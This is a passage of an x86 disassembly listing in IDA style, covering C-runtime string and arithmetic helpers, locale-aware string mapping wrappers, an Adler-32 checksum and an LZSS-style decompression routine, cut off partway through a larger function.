--------------------------------------------------------------------------- loc_410888: ; CODE XREF: sub_410810+5Aj mov eax, [edx-4] cmp al, bl jz short loc_4108C5 test al, al jz short loc_410882 cmp ah, bl jz short loc_4108BE test ah, ah jz short loc_410882 shr eax, 10h cmp al, bl jz short loc_4108B7 test al, al jz short loc_410882 cmp ah, bl jz short loc_4108B0 test ah, ah jz short loc_410882 jmp short loc_410846 ; --------------------------------------------------------------------------- loc_4108B0: ; CODE XREF: sub_410810+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_4108B7: ; CODE XREF: sub_410810+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4108BE: ; CODE XREF: sub_410810+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_4108C5: ; CODE XREF: sub_410810+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_410810 endp ; --------------------------------------------------------------------------- align 10h push edi push esi push ebx xor edi, edi mov eax, [esp+14h] or eax, eax jge short loc_4108F1 inc edi mov edx, [esp+10h] neg eax neg edx sbb eax, 0 mov [esp+14h], eax mov [esp+10h], edx loc_4108F1: ; CODE XREF: _3:004108DBj mov eax, [esp+1Ch] or eax, eax jge short loc_41090D inc edi mov edx, [esp+18h] neg eax neg edx sbb eax, 0 mov [esp+1Ch], eax mov [esp+18h], edx loc_41090D: ; CODE XREF: _3:004108F7j or eax, eax jnz short loc_410929 mov ecx, [esp+18h] mov eax, [esp+14h] xor edx, edx div ecx mov ebx, eax mov eax, [esp+10h] div ecx mov edx, ebx jmp short loc_41096A ; --------------------------------------------------------------------------- loc_410929: ; CODE XREF: _3:0041090Fj mov ebx, eax mov ecx, [esp+18h] mov edx, [esp+14h] mov eax, [esp+10h] loc_410937: ; CODE XREF: _3:00410941j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_410937 div ecx mov esi, eax mul dword ptr [esp+1Ch] mov ecx, eax mov eax, [esp+18h] mul esi add edx, ecx jb short loc_410965 cmp edx, [esp+14h] ja short loc_410965 jb short loc_410966 cmp eax, [esp+10h] jbe short loc_410966 loc_410965: ; CODE XREF: _3:00410955j _3:0041095Bj dec esi loc_410966: ; CODE XREF: _3:0041095Dj _3:00410963j xor edx, edx mov eax, esi loc_41096A: ; CODE XREF: _3:00410927j dec edi jnz short loc_410974 neg edx neg eax sbb edx, 0 loc_410974: ; CODE XREF: _3:0041096Bj pop ebx pop esi pop edi retn 10h ; =============== S U B R O U T I N E ======================================= sub_41097A proc near ; CODE XREF: sub_410A05+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_410982: ; CODE XREF: sub_41097A+34j cmp ds:dword_4245DC, 1 jle short loc_41099A movzx eax, byte ptr [edi] push 8 push eax call sub_410C5F pop ecx pop ecx jmp short loc_4109A9 ; --------------------------------------------------------------------------- loc_41099A: ; CODE XREF: sub_41097A+Fj movzx eax, byte ptr [edi] mov ecx, ds:off_4243D0 mov al, [ecx+eax*2] and eax, 8 loc_4109A9: ; CODE XREF: sub_41097A+1Ej test eax, eax jz short loc_4109B0 inc edi jmp short loc_410982 ; --------------------------------------------------------------------------- loc_4109B0: ; CODE XREF: sub_41097A+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4109C0 cmp esi, 2Bh jnz short loc_4109C4 loc_4109C0: ; CODE XREF: sub_41097A+3Fj movzx esi, byte ptr [edi] inc edi loc_4109C4: ; CODE XREF: sub_41097A+44j xor ebx, ebx loc_4109C6: ; CODE XREF: sub_41097A+7Bj cmp ds:dword_4245DC, 1 jle short loc_4109DB push 4 push esi call sub_410C5F pop ecx pop ecx jmp short loc_4109E6 ; --------------------------------------------------------------------------- loc_4109DB: ; CODE XREF: sub_41097A+53j mov eax, ds:off_4243D0 mov al, [eax+esi*2] and eax, 4 loc_4109E6: ; CODE XREF: sub_41097A+5Fj test eax, eax jz short loc_4109F7 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4109C6 ; --------------------------------------------------------------------------- loc_4109F7: ; CODE XREF: sub_41097A+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_410A00 neg eax loc_410A00: ; CODE XREF: sub_41097A+82j pop edi pop esi pop ebp pop ebx retn sub_41097A endp ; =============== S U B R O U T I N E ======================================= sub_410A05 proc near ; CODE XREF: sub_41DFF8+5Fp arg_0 = dword ptr 4 push [esp+arg_0] call sub_41097A pop ecx retn sub_410A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A10 proc near ; CODE XREF: sub_41072E+A3p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421A88 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp ds:dword_429048, edi jnz short loc_410A86 push edi push edi push 1 pop ebx push ebx push offset dword_421A80 mov esi, 100h push esi push edi call ds:dword_421030 ; LCMapStringW test eax, eax jz short loc_410A64 mov ds:dword_429048, ebx jmp short loc_410A86 ; --------------------------------------------------------------------------- loc_410A64: ; CODE XREF: sub_410A10+4Aj push edi push edi push ebx push offset dword_421A7C push esi push edi call ds:dword_421040 ; LCMapStringA test eax, eax jz loc_410B9E mov ds:dword_429048, 2 loc_410A86: ; CODE XREF: sub_410A10+2Ej ; sub_410A10+52j cmp [ebp+arg_C], edi jle short loc_410A9B push [ebp+arg_C] push [ebp+arg_8] call sub_410C34 pop ecx pop ecx mov [ebp+arg_C], eax loc_410A9B: ; CODE XREF: sub_410A10+79j mov eax, ds:dword_429048 cmp eax, 2 jnz short loc_410AC2 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_421040 ; LCMapStringA jmp loc_410BA0 ; --------------------------------------------------------------------------- loc_410AC2: ; CODE XREF: sub_410A10+93j cmp eax, 1 jnz loc_410B9E cmp [ebp+arg_18], edi jnz short loc_410AD8 mov eax, ds:dword_429064 mov [ebp+arg_18], eax loc_410AD8: ; CODE XREF: sub_410A10+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call ds:dword_42103C ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_410B9E mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_410D20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_410B33 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_410B33: ; CODE XREF: sub_410A10+10Ej cmp [ebp+var_24], edi jz short loc_410B9E push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_42103C ; MultiByteToWideChar test eax, eax jz short loc_410B9E push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_421030 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_410B9E test byte ptr [ebp+arg_4+1], 4 jz short loc_410BB2 cmp [ebp+arg_14], edi jz loc_410C2D cmp esi, [ebp+arg_14] jg short loc_410B9E push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_421030 ; LCMapStringW test eax, eax jnz loc_410C2D loc_410B9E: ; CODE XREF: sub_410A10+66j ; sub_410A10+B5j ... xor eax, eax loc_410BA0: ; CODE XREF: sub_410A10+ADj ; sub_410A10+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_410BB2: ; CODE XREF: sub_410A10+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_410D20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_410BE6 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_410BE6: ; CODE XREF: sub_410A10+1C2j cmp ebx, edi jz short loc_410B9E push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_421030 ; LCMapStringW test eax, eax jz short loc_410B9E cmp [ebp+arg_14], edi push edi push edi jnz short loc_410C0D push edi push edi jmp short loc_410C13 ; --------------------------------------------------------------------------- loc_410C0D: ; CODE XREF: sub_410A10+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_410C13: ; CODE XREF: sub_410A10+1FBj push esi push ebx push 220h push [ebp+arg_18] call ds:dword_421038 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_410B9E loc_410C2D: ; CODE XREF: sub_410A10+165j ; sub_410A10+188j mov eax, esi jmp loc_410BA0 sub_410A10 endp ; =============== S U B R O U T I N E ======================================= sub_410C34 proc near ; CODE XREF: sub_410A10+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_410C51 loc_410C44: ; CODE XREF: sub_410C34+1Bj cmp byte ptr [eax], 0 jz short loc_410C51 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_410C44 loc_410C51: ; CODE XREF: sub_410C34+Ej ; sub_410C34+13j cmp byte ptr [eax], 0 pop esi jnz short loc_410C5C sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_410C5C: ; CODE XREF: sub_410C34+21j mov eax, edx retn sub_410C34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C5F proc near ; CODE XREF: sub_41072E+46p ; sub_41097A+17p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_410C7D mov ecx, ds:off_4243D0 movzx eax, word ptr [ecx+eax*2] jmp short loc_410CCF ; --------------------------------------------------------------------------- loc_410C7D: ; CODE XREF: sub_410C5F+10j mov ecx, eax push esi mov esi, ds:off_4243D0 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_410CA2 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_410CAB ; --------------------------------------------------------------------------- loc_410CA2: ; CODE XREF: sub_410C5F+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_410CAB: ; CODE XREF: sub_410C5F+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_410D4F add esp, 1Ch test eax, eax jnz short loc_410CCB leave retn ; --------------------------------------------------------------------------- loc_410CCB: ; CODE XREF: sub_410C5F+68j movzx eax, word ptr [ebp+arg_0+2] loc_410CCF: ; CODE XREF: sub_410C5F+1Cj and eax, [ebp+arg_4] leave retn sub_410C5F endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_410CF9 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_410CF9: ; CODE XREF: _3:00410CEEj push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410D20 proc near ; CODE XREF: sub_410A10+FDp ; sub_410A10+1B1p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_410D40 loc_410D2C: ; CODE XREF: sub_410D20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_410D2C loc_410D40: ; CODE XREF: sub_410D20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_410D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410D4F proc near ; CODE XREF: sub_410C5F+5Ep var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421AA0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, ds:dword_42906C xor ebx, ebx cmp eax, ebx jnz short loc_410DBE lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_421A80 push esi call ds:dword_421044 ; GetStringTypeW test eax, eax jz short loc_410D9C mov eax, esi jmp short loc_410DB9 ; --------------------------------------------------------------------------- loc_410D9C: ; CODE XREF: sub_410D4F+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_421A7C push esi push ebx call ds:dword_42102C ; GetStringTypeA test eax, eax jz loc_410E84 push 2 pop eax loc_410DB9: ; CODE XREF: sub_410D4F+4Bj mov ds:dword_42906C, eax loc_410DBE: ; CODE XREF: sub_410D4F+2Fj cmp eax, 2 jnz short loc_410DE7 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_410DCF mov eax, ds:dword_429054 loc_410DCF: ; CODE XREF: sub_410D4F+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call ds:dword_42102C ; GetStringTypeA jmp loc_410E86 ; --------------------------------------------------------------------------- loc_410DE7: ; CODE XREF: sub_410D4F+72j cmp eax, 1 jnz loc_410E84 cmp [ebp+arg_10], ebx jnz short loc_410DFD mov eax, ds:dword_429064 mov [ebp+arg_10], eax loc_410DFD: ; CODE XREF: sub_410D4F+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call ds:dword_42103C ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_410E84 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_410D20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_410EA0 add esp, 0Ch jmp short loc_410E53 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_410E53: ; CODE XREF: sub_410D4F+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_410E84 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call ds:dword_42103C ; MultiByteToWideChar cmp eax, ebx jz short loc_410E84 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call ds:dword_421044 ; GetStringTypeW jmp short loc_410E86 ; --------------------------------------------------------------------------- loc_410E84: ; CODE XREF: sub_410D4F+61j ; sub_410D4F+9Bj ... xor eax, eax loc_410E86: ; CODE XREF: sub_410D4F+93j ; sub_410D4F+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_410D4F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410EA0 proc near ; CODE XREF: sub_410D4F+EFp arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_410EF3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_410EE7 neg ecx and ecx, 3 jz short loc_410EC9 sub edx, ecx loc_410EC3: ; CODE XREF: sub_410EA0+27j mov [edi], al inc edi dec ecx jnz short loc_410EC3 loc_410EC9: ; CODE XREF: sub_410EA0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_410EE7 rep stosd test edx, edx jz short loc_410EED loc_410EE7: ; CODE XREF: sub_410EA0+18j ; sub_410EA0+3Fj ... mov [edi], al inc edi dec edx jnz short loc_410EE7 loc_410EED: ; CODE XREF: sub_410EA0+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_410EF3: ; CODE XREF: sub_410EA0+Aj mov eax, [esp+arg_0] retn sub_410EA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410F00 proc near ; CODE XREF: sub_4103E8+13p jmp ds:dword_421034 sub_410F00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F10 proc near ; CODE XREF: sub_41D36C+40p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_42904C cmp dword ptr [eax+8], 0 jnz short loc_410F63 mov al, 0FFh mov edi, edi loc_410F2C: ; CODE XREF: sub_410F10+28j ; sub_410F10+48j or al, al jz short loc_410F5E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_410F2C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_410F2C sbb al, al sbb al, 0FFh loc_410F5E: ; CODE XREF: sub_410F10+1Ej movsx eax, al jmp short loc_410F97 ; --------------------------------------------------------------------------- loc_410F63: ; CODE XREF: sub_410F10+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_410F6C: ; CODE XREF: sub_410F10+68j ; sub_410F10+80j or al, al jz short loc_410F97 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_410F6C push eax push ebx call sub_41072E mov ebx, eax add esp, 4 call sub_41072E add esp, 4 cmp bl, al jz short loc_410F6C sbb eax, eax sbb eax, 0FFFFFFFFh loc_410F97: ; CODE XREF: sub_410F10+51j ; sub_410F10+5Ej pop ebx pop esi pop edi leave retn sub_410F10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F9C proc near ; CODE XREF: sub_411310+183p ; sub_411310+361p ; DATA XREF: ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] push esi push edi mov edi, [ebp+arg_0] mov esi, edi and esi, 0FFFFh shr edi, 10h test ecx, ecx jnz short loc_410FBE push 1 pop eax jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_410FBE: ; CODE XREF: sub_410F9C+18j cmp [ebp+arg_8], 0 jbe loc_4110AA push ebx loc_410FC9: ; CODE XREF: sub_410F9C+107j mov edx, 15B0h cmp [ebp+arg_8], edx jnb short loc_410FD6 mov edx, [ebp+arg_8] loc_410FD6: ; CODE XREF: sub_410F9C+35j sub [ebp+arg_8], edx cmp edx, 10h jl loc_411079 mov eax, edx shr eax, 4 mov ebx, eax neg ebx shl ebx, 4 add edx, ebx loc_410FF0: ; CODE XREF: sub_410F9C+D7j movzx ebx, byte ptr [ecx] add esi, ebx movzx ebx, byte ptr [ecx+1] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+2] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+3] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+4] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+5] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+6] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+7] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+8] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+9] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Ah] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Bh] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Ch] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Dh] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Eh] add edi, esi add esi, ebx movzx ebx, byte ptr [ecx+0Fh] add edi, esi add esi, ebx add edi, esi add ecx, 10h dec eax jnz loc_410FF0 loc_411079: ; CODE XREF: sub_410F9C+40j test edx, edx jz short loc_411088 loc_41107D: ; CODE XREF: sub_410F9C+EAj movzx eax, byte ptr [ecx] add esi, eax inc ecx add edi, esi dec edx jnz short loc_41107D loc_411088: ; CODE XREF: sub_410F9C+DFj mov ebx, 0FFF1h mov eax, esi xor edx, edx mov esi, ebx div esi mov eax, edi mov esi, edx xor edx, edx div ebx cmp [ebp+arg_8], 0 mov edi, edx ja loc_410FC9 pop ebx loc_4110AA: ; CODE XREF: sub_410F9C+26j mov eax, edi shl eax, 10h or eax, esi loc_4110B1: ; CODE XREF: sub_410F9C+1Dj pop edi pop esi pop ebp retn sub_410F9C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110C0 proc near ; CODE XREF: sub_411310+15Ep ; sub_411310+33Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_1C], ecx mov eax, [ebp+var_1C] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_1C] mov eax, [ebp+arg_8] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ebp+arg_4] mov [ecx+8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov edx, [ebp+var_1C] mov dword ptr [edx+14h], 0 mov eax, [ebp+var_1C] mov dword ptr [eax+10h], 0 mov [ebp+var_10], 0 jmp short loc_411112 ; --------------------------------------------------------------------------- loc_411109: ; CODE XREF: sub_4110C0+65j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_411112: ; CODE XREF: sub_4110C0+47j cmp [ebp+var_10], 0FEEh jge short loc_411127 mov edx, [ebp+var_1C] add edx, [ebp+var_10] mov byte ptr [edx+18h], 20h jmp short loc_411109 ; --------------------------------------------------------------------------- loc_411127: ; CODE XREF: sub_4110C0+59j mov [ebp+var_8], 0FEEh mov [ebp+var_4], 0 loc_411135: ; CODE XREF: sub_4110C0:loc_411266j mov eax, [ebp+var_4] shr eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] and ecx, 100h test ecx, ecx jnz short loc_411169 mov ecx, [ebp+var_1C] call sub_411280 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_411160 jmp loc_41126B ; --------------------------------------------------------------------------- loc_411160: ; CODE XREF: sub_4110C0+99j mov edx, [ebp+var_C] or dh, 0FFh mov [ebp+var_4], edx loc_411169: ; CODE XREF: sub_4110C0+88j mov eax, [ebp+var_4] and eax, 1 test eax, eax jz short loc_4111BA mov ecx, [ebp+var_1C] call sub_411280 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_411189 jmp loc_41126B ; --------------------------------------------------------------------------- loc_411189: ; CODE XREF: sub_4110C0+C2j mov edx, [ebp+var_C] mov ecx, [ebp+var_1C] call sub_4112C0 mov ecx, [ebp+var_1C] add ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_C] mov [ecx+18h], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] and ecx, 0FFFh mov [ebp+var_8], ecx jmp loc_411266 ; --------------------------------------------------------------------------- loc_4111BA: ; CODE XREF: sub_4110C0+B1j mov ecx, [ebp+var_1C] call sub_411280 mov [ebp+var_10], eax cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_4111D0 jmp loc_41126B ; --------------------------------------------------------------------------- loc_4111D0: ; CODE XREF: sub_4110C0+109j mov ecx, [ebp+var_1C] call sub_411280 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4111E6 jmp loc_41126B ; --------------------------------------------------------------------------- loc_4111E6: ; CODE XREF: sub_4110C0+11Fj mov edx, [ebp+var_14] and edx, 0F0h shl edx, 4 mov eax, [ebp+var_10] or eax, edx mov [ebp+var_10], eax mov ecx, [ebp+var_14] and ecx, 0Fh add ecx, 2 mov [ebp+var_14], ecx mov [ebp+var_18], 0 jmp short loc_411218 ; --------------------------------------------------------------------------- loc_41120F: ; CODE XREF: sub_4110C0+1A4j mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx loc_411218: ; CODE XREF: sub_4110C0+14Dj mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jg short loc_411266 mov ecx, [ebp+var_10] add ecx, [ebp+var_18] and ecx, 0FFFh mov edx, [ebp+var_1C] xor eax, eax mov al, [edx+ecx+18h] mov [ebp+var_C], eax mov edx, [ebp+var_C] mov ecx, [ebp+var_1C] call sub_4112C0 mov ecx, [ebp+var_1C] add ecx, [ebp+var_8] mov dl, byte ptr [ebp+var_C] mov [ecx+18h], dl mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] and ecx, 0FFFh mov [ebp+var_8], ecx jmp short loc_41120F ; --------------------------------------------------------------------------- loc_411266: ; CODE XREF: sub_4110C0+F5j ; sub_4110C0+15Ej jmp loc_411135 ; --------------------------------------------------------------------------- loc_41126B: ; CODE XREF: sub_4110C0+9Bj ; sub_4110C0+C4j ... mov edx, [ebp+var_1C] mov eax, [edx+10h] mov esp, ebp pop ebp retn 10h sub_4110C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411280 proc near ; CODE XREF: sub_4110C0+8Dp ; sub_4110C0+B6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [eax+14h] cmp edx, [ecx+8] jb short loc_41129A or eax, 0FFFFFFFFh jmp short loc_4112BB ; --------------------------------------------------------------------------- loc_41129A: ; CODE XREF: sub_411280+13j mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx+14h] xor edx, edx mov dl, [ecx+eax] mov eax, edx mov ecx, [ebp+var_4] mov edx, [ecx+14h] add edx, 1 mov ecx, [ebp+var_4] mov [ecx+14h], edx loc_4112BB: ; CODE XREF: sub_411280+18j mov esp, ebp pop ebp retn sub_411280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4112C0 proc near ; CODE XREF: sub_4110C0+CFp ; sub_4110C0+17Ep var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], edx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [eax+10h] cmp edx, [ecx+0Ch] jb short loc_4112DC jmp short loc_4112FD ; --------------------------------------------------------------------------- loc_4112DC: ; CODE XREF: sub_4112C0+18j mov eax, [ebp+var_4] mov ecx, [eax+4] mov edx, [ebp+var_4] mov eax, [edx+10h] mov dl, byte ptr [ebp+var_8] mov [ecx+eax], dl mov eax, [ebp+var_4] mov ecx, [eax+10h] add ecx, 1 mov edx, [ebp+var_4] mov [edx+10h], ecx loc_4112FD: ; CODE XREF: sub_4112C0+1Aj mov esp, ebp pop ebp retn sub_4112C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411310 proc near ; CODE XREF: _3:loc_411720p var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword 